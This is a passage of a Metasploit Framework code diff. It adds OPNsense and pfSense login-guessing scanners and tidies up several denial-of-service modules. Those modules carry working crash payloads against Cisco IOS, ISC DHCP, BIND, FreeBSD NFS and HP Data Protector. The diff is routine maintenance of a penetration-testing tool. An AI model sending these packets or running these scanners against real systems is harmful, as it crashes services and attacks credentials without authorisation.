Rex::Proto::Kerberos::Model::PreAuthType::PA_PW_SALT + pa_data_entry = krb_err.res.e_data_as_pa_data.find do |pa_data| + pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_PW_SALT + end + + if pa_data_entry pw_salt = pa_data_entry.decoded_value if pw_salt.nt_status case pw_salt.nt_status.value @@ -107,7 +110,7 @@ def self.login_status_for_kerberos_error(krb_err) Metasploit::Model::Login::Status::DISABLED end else - Metasploit::Model::Login::Status::DISABLED + Metasploit::Model::Login::Status::DISABLED end rescue Rex::Proto::Kerberos::Model::Error::KerberosDecodingError # Could be a non-MS implementation? diff --git a/lib/metasploit/framework/login_scanner/ldap.rb b/lib/metasploit/framework/login_scanner/ldap.rb index ef0ae8d63076a..72a080ab4ee80 100644 --- a/lib/metasploit/framework/login_scanner/ldap.rb +++ b/lib/metasploit/framework/login_scanner/ldap.rb @@ -13,6 +13,7 @@ class LDAP LIKELY_PORTS = [ 389, 636 ] LIKELY_SERVICE_NAMES = [ 'ldap', 'ldaps', 'ldapssl' ] + PRIVATE_TYPES = [:password, :ntlm_hash] attr_accessor :opts, :realm_key # @!attribute use_client_as_proof @@ -86,8 +87,8 @@ def each_credential credential.private = nil elsif opts[:ldap_auth] == Msf::Exploit::Remote::AuthOption::SCHANNEL # If we're using kerberos auth with schannel then the user/password is irrelevant - # Remove it from the credential so we don't store it - credential.public = nil + # Remove the password from the credential so we don't store it + # Note that the username is kept since it is needed for the certificate lookup. credential.private = nil end diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb index e56699fa60683..69fc0f1638904 100644 --- a/lib/metasploit/framework/login_scanner/mssql.rb +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -77,7 +77,7 @@ def attempt_login(credential) } begin - client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port, proxies) + client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port, proxies, sslkeylogfile: sslkeylogfile) if client.mssql_login(credential.public, credential.private, '', credential.realm) result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL if use_client_as_proof diff --git a/lib/metasploit/framework/login_scanner/nessus.rb b/lib/metasploit/framework/login_scanner/nessus.rb index ed81ee8a4b379..3ec03a3b2aad4 100644 --- a/lib/metasploit/framework/login_scanner/nessus.rb +++ b/lib/metasploit/framework/login_scanner/nessus.rb @@ -9,7 +9,7 @@ class Nessus < HTTP DEFAULT_PORT = 8834 PRIVATE_TYPES = [ :password ] - LIKELY_SERVICE_NAMES = [ 'nessus' ] + LIKELY_SERVICE_NAMES = self.superclass::LIKELY_SERVICE_NAMES + [ 'nessus' ] LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name diff --git a/lib/metasploit/framework/login_scanner/opnsense.rb b/lib/metasploit/framework/login_scanner/opnsense.rb new file mode 100644 index 0000000000000..9ce58a86c79e5 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/opnsense.rb @@ -0,0 +1,138 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Deciso B.V. OPNSense instances. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class OPNSense < HTTP + + # Retrieve the wanted cookie value by name from the HTTP response. + # + # @param [Rex::Proto::Http::Response] response The response from which to extract cookie values + # @param [String] wanted_cookie_name The cookie name for which to get the value + def get_cookie_value(response, wanted_cookie_name) + response.get_cookies.split('; ').find { |cookie| cookie.start_with?(wanted_cookie_name) }.split('=').last + end + + # Checks if the target is OPNSense. The login module should call this. + # + # @return [Boolean, String] FalseClass if target is OPNSense, otherwise String + def check_setup + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri(@uri.to_s) + } + res = send_request(request_params) + + if res && res.code == 200 && res.body&.include?('Login | OPNsense') + return false + end + + "Unable to locate \"Login | OPNsense\" in body. (Is this really OPNSense?)" + end + + # Query the magic value and cookies from the OPNSense login page. + # + # @return [Hash] A hash of the status and error or result. + def query_magic_value_and_cookies + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri(@uri.to_s) + } + + res = send_request(request_params) + + if res.nil? + return { status: :failure, error: 'Did not receive response to a GET request' } + end + + if res.code != 200 + return { status: :failure, error: "Unexpected return code from GET request - #{res.code}" } + end + + if res.body.nil? + return { status: :failure, error: 'Received an empty body from GET request' } + end + + # The magic name and value are hidden on the login form, so we extract them using get_html_document + form_input = res.get_html_document&.at('input') + + if form_input.nil? || form_input['type'] != 'hidden' + return { status: :failure, error: 'Could not find hidden magic field in the login form.' } + end + + magic_value = { name: form_input['name'], value: form_input['value'] } + cookies = "PHPSESSID=#{get_cookie_value(res, 'PHPSESSID')}; cookie_test=#{get_cookie_value(res, 'cookie_test')}" + { status: :success, result: { magic_value: magic_value, cookies: cookies } } + end + + # Each individual login needs their own magic name and value. + # This magic value comes from the login form received in response to a GET request to the login page. + # Each login attempt also requires specific cookies to be set, otherwise an error is returned. + # + # @param username Username + # @param password Password + # @param magic_value A hash containing the magic_value name and value + # @param cookies A cookie string + def try_login(username, password, magic_value, cookies) + request_params = + { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.to_s), + 'cookie' => cookies, + 'vars_post' => { + magic_value[:name] => magic_value[:value], + 'usernamefld' => username, + 'passwordfld' => password, + 'login' => '1' + } + } + + { status: :success, result: send_request(request_params) } + end + + def attempt_login(credential) + result_options = { + credential: credential, + host: @host, + port: @port, + protocol: 'tcp', + service_name: 'opnsense' + } + + # Each login needs its own magic name and value + magic_value_and_cookies = query_magic_value_and_cookies + + if magic_value_and_cookies[:status] != :success + result_options.merge!(status: ::Metasploit::Model::Login::Status::UNTRIED, proof: magic_value_and_cookies[:error]) + return Result.new(result_options) + end + + login_result = try_login(credential.public, credential.private, magic_value_and_cookies[:result][:magic_value], magic_value_and_cookies[:result][:cookies]) + + if login_result[:result].nil? + result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to OPNSense') + return Result.new(result_options) + end + + # 200 is incorrect result + if login_result[:result].code == 200 || login_result[:result].body.include?('Username or Password incorrect') + result_options.merge!(status: ::Metasploit::Model::Login::Status::INCORRECT, proof: 'Username or Password incorrect') + return Result.new(result_options) + end + + login_status = login_result[:result].code == 302 ? ::Metasploit::Model::Login::Status::SUCCESSFUL : ::Metasploit::Model::Login::Status::INCORRECT + result_options.merge!(status: login_status, proof: login_result[:result]) + Result.new(result_options) + + rescue ::Rex::ConnectionError => _e + result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to OPNSense') + return Result.new(result_options) + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/pfsense.rb b/lib/metasploit/framework/login_scanner/pfsense.rb new file mode 100644 index 0000000000000..bc563bae04150 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/pfsense.rb @@ -0,0 +1,116 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Netgate pfSense instances. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class PfSense < HTTP + LOGIN_ENDPOINT = 'index.php' + + # Checks if the target is pfSense. The login module should call this. + # + # @return [Boolean, String] FalseClass if target is pfSense, otherwise String + def check_setup + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT) + } + res = send_request(request_params) + + if res&.code == 200 && res.body&.include?('Login to pfSense') + return false + end + + "Unable to locate \"Login to pfSense\" in body. (Is this really pfSense?)" + end + + def query_csrf_magic + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT) + } + + res = send_request(request_params) + + if res.nil? + return { status: :failure, error: 'Did not receive response to a GET request' } + end + + if res.code != 200 + return { status: :failure, error: "Unexpected return code from GET request - #{res.code}" } + end + + # CSRF Magic Token and Magic Value are inlined as JavaScript in a diff --git a/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb b/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb index dc496e13844ff..544ea32978af9 100644 --- a/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb +++ b/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb @@ -10,21 +10,26 @@ def initialize(info = {}) super( update_info( info, - 'Name' => "iOS Safari Denial of Service with CSS", - 'Description' => %q( + 'Name' => 'iOS Safari Denial of Service with CSS', + 'Description' => %q{ This module exploits a vulnerability in WebKit on Apple iOS. If successful, the device will restart after viewing the webpage. - ), - 'License' => MSF_LICENSE, - 'Author' => [ + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Sabri Haddouche', # twitter.com/pwnsdx ], - 'References' => [ + 'References' => [ ['URL', 'https://twitter.com/pwnsdx/status/1040944750973595649'], - ['URL', 'https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'], + ['URL', 'http://web.archive.org/web/20220706175501/https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'], ['URL', 'https://nbulischeck.github.io/apple-safari-crash'], ], 'DisclosureDate' => '2018-09-15', + 'Notes' => { + 'Stability' => [CRASH_OS_RESTARTS], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb index 7aeff5c836863..18b7b1712d512 100644 --- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb +++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb @@ -8,37 +8,43 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service', - 'Description' => %q{ - This module triggers a Denial of Service condition in the Cisco IOS - HTTP server. By sending a GET request for "/%%", the device becomes - unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module - tested successfully against a Cisco 1600 Router IOS v11.2(18)P. - }, - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service', + 'Description' => %q{ + This module triggers a Denial of Service condition in the Cisco IOS + HTTP server. By sending a GET request for "/%%", the device becomes + unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module + tested successfully against a Cisco 1600 Router IOS v11.2(18)P. + }, + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'BID', '1154'], [ 'CVE', '2000-0380'], [ 'OSVDB', '1302' ], ], - 'DisclosureDate' => '2000-04-26')) - - register_options( - [ - Opt::RPORT(80), - ]) + 'DisclosureDate' => '2000-04-26', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + register_options([ + Opt::RPORT(80), + ]) end def run connect - print_status("Sending HTTP DoS packet") + print_status('Sending HTTP DoS packet') - sploit = "GET /%% HTTP/1.0" + sploit = 'GET /%% HTTP/1.0' sock.put(sploit + "\r\n") disconnect diff --git a/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb b/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb index 1671549fe6c1b..2457ec0e35d83 100644 --- a/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb +++ b/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb @@ -8,44 +8,50 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Cisco IOS Telnet Denial of Service', - 'Description' => %q{ - This module triggers a Denial of Service condition in the Cisco IOS - telnet service affecting multiple Cisco switches. Tested against Cisco - Catalyst 2960 and 3750. - }, - 'Author' => [ 'Artem Kondratenko' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Cisco IOS Telnet Denial of Service', + 'Description' => %q{ + This module triggers a Denial of Service condition in the Cisco IOS + telnet service affecting multiple Cisco switches. Tested against Cisco + Catalyst 2960 and 3750. + }, + 'Author' => [ 'Artem Kondratenko' ], + 'License' => MSF_LICENSE, + 'References' => [ ['BID', '96960'], ['CVE', '2017-3881'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'], ['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution'] ], - 'DisclosureDate' => '2017-03-17')) + 'DisclosureDate' => '2017-03-17', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(23) ]) end def run - begin - connect - print_status "Connected to telnet service" - packet = sock.read(200) - if packet.nil? - print_error "Failed to get initial packet from telnet service." - else - print_status "Got initial packet from telnet service: " + packet.inspect - end - print_status "Sending Telnet DoS packet" - sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0") - disconnect - rescue ::Rex::ConnectionRefused - print_status "Unable to connect to #{rhost}:#{rport}." - rescue ::Errno::ECONNRESET - print_good "DoS packet successful. #{rhost} not responding." + connect + print_status 'Connected to telnet service' + packet = sock.read(200) + if packet.nil? + print_error 'Failed to get initial packet from telnet service.' + else + print_status 'Got initial packet from telnet service: ' + packet.inspect end + print_status 'Sending Telnet DoS packet' + sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0") + disconnect + rescue ::Rex::ConnectionRefused + print_status "Unable to connect to #{rhost}:#{rport}." + rescue ::Errno::ECONNRESET + print_good "DoS packet successful. #{rhost} not responding." end end diff --git a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb index 8b4aeaa59e9ab..6afd976056929 100644 --- a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb +++ b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb @@ -9,58 +9,61 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module', - 'Description' => %q{ + 'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module', + 'Description' => %q{ This module performs a Denial of Service Attack against the ISC DHCP server, versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request message with a 0-length client_id option for an IP address on the appropriate range for the dhcp server. When ISC DHCP Server tries to hash this value it exits abnormally. }, - 'Author' => - [ - 'sid', # Original POC - 'theLightCosine' # msf module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2010-2156' ], - [ 'OSVDB', '65246'], - [ 'EDB', '14185'] - ] + 'Author' => [ + 'sid', # Original POC + 'theLightCosine' # msf module + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2010-2156' ], + [ 'OSVDB', '65246'], + [ 'EDB', '14185'] + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ OptAddress.new('RIP', [true, 'A valid IP to request from the server']) ] ) - deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT') + deregister_options('FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT') end def run open_pcap - print_status("Creating DHCP Request with 0-length ClientID") + print_status('Creating DHCP Request with 0-length ClientID') p = PacketFu::UDPPacket.new - p.ip_daddr = "255.255.255.255" + p.ip_daddr = '255.255.255.255' p.udp_sport = 68 p.udp_dport = 67 # TODO: Get a DHCP parser into PacketFu chaddr = "\xaa\xaa\xaa\xaa\xaa\xaa" dhcp_payload = "\x63\x82\x53\x63\x35\x01\x03\x3d\x00\xff" - p.payload = dhcp_req(chaddr,dhcp_payload) + p.payload = dhcp_req(chaddr, dhcp_payload) p.recalc - print_status("Sending malformed DHCP request...") + print_status('Sending malformed DHCP request...') capture_sendto(p, '255.255.255.255') close_pcap end - def dhcp_req(chaddr,payload) + def dhcp_req(chaddr, payload) req = "\x00" * 236 - req[0,3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6 - req[12,4] = Rex::Socket.addr_aton(datastore['RIP']) - req[28,6] = chaddr + req[0, 3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6 + req[12, 4] = Rex::Socket.addr_aton(datastore['RIP']) + req[28, 6] = chaddr req + payload end end diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb index 08e27c26b76d6..f887760779b7f 100644 --- a/modules/auxiliary/dos/dns/bind_tkey.rb +++ b/modules/auxiliary/dos/dns/bind_tkey.rb @@ -9,30 +9,38 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'BIND TKEY Query Denial of Service', - 'Description' => %q{ - This module sends a malformed TKEY query, which exploits an - error in handling TKEY queries on affected BIND9 'named' DNS servers. - As a result, a vulnerable named server will exit with a REQUIRE - assertion failure. This condition can be exploited in versions of BIND - between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 - through 9.10.2-P2. - }, - 'Author' => [ - 'Jonathan Foote', # Original discoverer - 'throwawayokejxqbbif', # PoC - 'wvu' # Metasploit module - ], - 'References' => [ - ['CVE', '2015-5477'], - ['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'], - ['URL', 'https://kb.isc.org/article/AA-01272'] - ], - 'DisclosureDate' => '2015-07-28', - 'License' => MSF_LICENSE, - 'DefaultOptions' => {'ScannerRecvWindow' => 0} - )) + super( + update_info( + info, + 'Name' => 'BIND TKEY Query Denial of Service', + 'Description' => %q{ + This module sends a malformed TKEY query, which exploits an + error in handling TKEY queries on affected BIND9 'named' DNS servers. + As a result, a vulnerable named server will exit with a REQUIRE + assertion failure. This condition can be exploited in versions of BIND + between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 + through 9.10.2-P2. + }, + 'Author' => [ + 'Jonathan Foote', # Original discoverer + 'throwawayokejxqbbif', # PoC + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2015-5477'], + ['URL', 'http://web.archive.org/web/20190425014550/https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'], + ['URL', 'https://kb.isc.org/article/AA-01272'] + ], + 'DisclosureDate' => '2015-07-28', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'ScannerRecvWindow' => 0 }, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(53), @@ -52,15 +60,15 @@ def scan_host(ip) end def payload - name = Rex::Text.rand_text_alphanumeric(rand(42) + 1) - txt = Rex::Text.rand_text_alphanumeric(rand(42) + 1) + name = Rex::Text.rand_text_alphanumeric(1..42) + txt = Rex::Text.rand_text_alphanumeric(1..42) name_length = [name.length].pack('C') - txt_length = [txt.length].pack('C') + txt_length = [txt.length].pack('C') data_length = [txt.length + 1].pack('n') - ttl = [rand(2 ** 31 - 1) + 1].pack('N') + ttl = [rand(2**31 - 1) + 1].pack('N') - query = "\x00\x00" # Transaction ID: 0x0000 + query = "\x00\x00" # Transaction ID: 0x0000 query << "\x00\x00" # Flags: 0x0000 Standard query query << "\x00\x01" # Questions: 1 query << "\x00\x00" # Answer RRs: 0 diff --git a/modules/auxiliary/dos/dns/bind_tsig.rb b/modules/auxiliary/dos/dns/bind_tsig.rb index 04e8ed6ba4f1c..3ff094af32153 100644 --- a/modules/auxiliary/dos/dns/bind_tsig.rb +++ b/modules/auxiliary/dos/dns/bind_tsig.rb @@ -9,31 +9,39 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'BIND TSIG Query Denial of Service', - 'Description' => %q{ - A defect in the rendering of messages into packets can cause named to - exit with an assertion failure in buffer.c while constructing a response - to a query that meets certain criteria. + super( + update_info( + info, + 'Name' => 'BIND TSIG Query Denial of Service', + 'Description' => %q{ + A defect in the rendering of messages into packets can cause named to + exit with an assertion failure in buffer.c while constructing a response + to a query that meets certain criteria. - This assertion can be triggered even if the apparent source address - isn't allowed to make queries. - }, - # Research and Original PoC - msf module author - 'Author' => [ - 'Martin Rocha', - 'Ezequiel Tavella', - 'Alejandro Parodi', - 'Infobyte Research Team' - ], - 'References' => [ - ['CVE', '2016-2776'], - ['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html'] - ], - 'DisclosureDate' => '2016-09-27', - 'License' => MSF_LICENSE, - 'DefaultOptions' => {'ScannerRecvWindow' => 0} - )) + This assertion can be triggered even if the apparent source address + isn't allowed to make queries. + }, + # Research and Original PoC - msf module author + 'Author' => [ + 'Martin Rocha', + 'Ezequiel Tavella', + 'Alejandro Parodi', + 'Infobyte Research Team' + ], + 'References' => [ + ['CVE', '2016-2776'], + ['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html'] + ], + 'DisclosureDate' => '2016-09-27', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'ScannerRecvWindow' => 0 }, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(53), @@ -53,7 +61,7 @@ def scan_host(ip) end def payload - query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65 + query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65 query << "\x00\x00" # Flags: 0x0000 Standard query query << "\x00\x01" # Questions: 1 query << "\x00\x00" # Answer RRs: 0 @@ -61,14 +69,14 @@ def payload query << "\x00\x01" # Additional RRs: 1 # Domain Name - query << get_domain # Random DNS Name + query << get_domain # Random DNS Name query << "\x00" # [End of name] query << "\x00\x01" # Type: A (Host Address) (1) query << "\x00\x01" # Class: IN (0x0001) # Additional records. Name - query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes - query << "\x3d"+Rex::Text.rand_text_alphanumeric(61) + query << ("\x3f" + Rex::Text.rand_text_alphanumeric(63)) * 3 # 192 bytes + query << "\x3d" + Rex::Text.rand_text_alphanumeric(61) query << "\x00" query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250) @@ -77,23 +85,23 @@ def payload query << "\x00\xfc" # Data length: 252 # Algorithm Name - query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes - query << "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes + query << ("\x3f" + Rex::Text.rand_text_alphanumeric(63)) * 3 # Random 192 bytes + query << "\x1A" + Rex::Text.rand_text_alphanumeric(26) # Random 26 bytes query << "\x00" # Rest of TSIG - query << "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART + query << "\x00\x00" + Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART query << "\x01\x2c" # Fudge: 300 query << "\x00\x10" # MAC Size: 16 - query << Rex::Text.rand_text_alphanumeric(16) # MAC + query << Rex::Text.rand_text_alphanumeric(16) # MAC query << "\x8f\x65" # Original Id: 36709 query << "\x00\x00" # Error: No error (0) query << "\x00\x00" # Other len: 0 end def get_domain - domain = "\x06"+Rex::Text.rand_text_alphanumeric(6) - org = "\x03"+Rex::Text.rand_text_alphanumeric(3) - domain+org + domain = "\x06" + Rex::Text.rand_text_alphanumeric(6) + org = "\x03" + Rex::Text.rand_text_alphanumeric(3) + domain + org end end diff --git a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb index 32fc6d76f703c..3a4a5a607d4aa 100644 --- a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb +++ b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb @@ -8,32 +8,40 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'FreeBSD Remote NFS RPC Request Denial of Service', - 'Description' => %q{ - This module sends a specially-crafted NFS Mount request causing a - kernel panic on host running FreeBSD 6.0. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'FreeBSD Remote NFS RPC Request Denial of Service', + 'Description' => %q{ + This module sends a specially-crafted NFS Mount request causing a + kernel panic on host running FreeBSD 6.0. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'BID', '16838' ], [ 'OSVDB', '23511' ], [ 'CVE', '2006-0900' ], - ])) - - register_options([Opt::RPORT(2049),]) + ], + 'Notes' => { + 'Stability' => [CRASH_OS_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options([Opt::RPORT(2049),]) end def run connect - pkt = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02" + pkt = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02" pkt << "\x00\x01\x86\xa5\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00" pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04" - print_status("Sending dos packet...") + print_status('Sending dos packet...') sock.put(pkt) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index beb55532b66a4..5d3fbc7158fa6 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'DisclosureDate' => '2011-02-03', 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], - 'Reliability' => [REPEATABLE_SESSION], + 'Reliability' => [], 'SideEffects' => [] } ) @@ -61,7 +61,7 @@ def check disconnect # check if version was found if s !~ /vsFTPd \d+\.\d+\.\d+/ - print_error('Did not find ftp version in FTP session.') + print_error('Did not find FTP version in FTP session.') return Exploit::CheckCode::Unknown end diff --git a/modules/auxiliary/dos/hp/data_protector_rds.rb b/modules/auxiliary/dos/hp/data_protector_rds.rb index 8d41a8fe04f9f..702c157c78111 100644 --- a/modules/auxiliary/dos/hp/data_protector_rds.rb +++ b/modules/auxiliary/dos/hp/data_protector_rds.rb @@ -8,26 +8,33 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'HP Data Protector Manager RDS DOS', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'HP Data Protector Manager RDS DOS', + 'Description' => %q{ This module causes a remote DOS on HP Data Protector's RDS service. By sending - a malformed packet to port 1530, _rm32.dll causes RDS to crash due to an enormous - size for malloc(). - }, - 'Author' => - [ - 'Roi Mallo ', #initial discovery, poc - 'sinn3r', #msf + a malformed packet to port 1530, _rm32.dll causes RDS to crash due to an enormous + size for malloc(). + }, + 'Author' => [ + 'Roi Mallo ', # initial discovery, poc + 'sinn3r', # msf ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2011-0514' ], [ 'OSVDB', '70617' ], [ 'EDB', '15940' ], ], - 'DisclosureDate' => '2011-01-08' )) + 'DisclosureDate' => '2011-01-08', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(1530), @@ -35,12 +42,12 @@ def initialize(info = {}) end def run - buf = "\x23\x8c\x29\xb6" #Header - buf << "\x64\x00\x00\x00" #Packet size - buf << "\x41"*4 #Data + buf = "\x23\x8c\x29\xb6" # Header + buf << "\x64\x00\x00\x00" # Packet size + buf << "\x41" * 4 # Data connect - print_status("Sending malformed packet...") + print_status('Sending malformed packet...') sock.put(buf) disconnect end diff --git a/modules/auxiliary/dos/http/3com_superstack_switch.rb b/modules/auxiliary/dos/http/3com_superstack_switch.rb index dfbeb26ab1204..6b8186bb0a2a6 100644 --- a/modules/auxiliary/dos/http/3com_superstack_switch.rb +++ b/modules/auxiliary/dos/http/3com_superstack_switch.rb @@ -8,46 +8,51 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => '3Com SuperStack Switch Denial of Service', - 'Description' => %q{ - This module causes a temporary denial of service condition - against 3Com SuperStack switches. By sending excessive data - to the HTTP Management interface, the switch stops responding - temporarily. The device does not reset. Tested successfully - against a 3300SM firmware v2.66. Reported to affect versions - prior to v2.72. - }, - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => '3Com SuperStack Switch Denial of Service', + 'Description' => %q{ + This module causes a temporary denial of service condition + against 3Com SuperStack switches. By sending excessive data + to the HTTP Management interface, the switch stops responding + temporarily. The device does not reset. Tested successfully + against a 3300SM firmware v2.66. Reported to affect versions + prior to v2.72. + }, + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE, + 'References' => [ # aushack - I am not sure if these are correct, but the closest match! [ 'OSVDB', '7246' ], [ 'CVE', '2004-2691' ], [ 'URL', 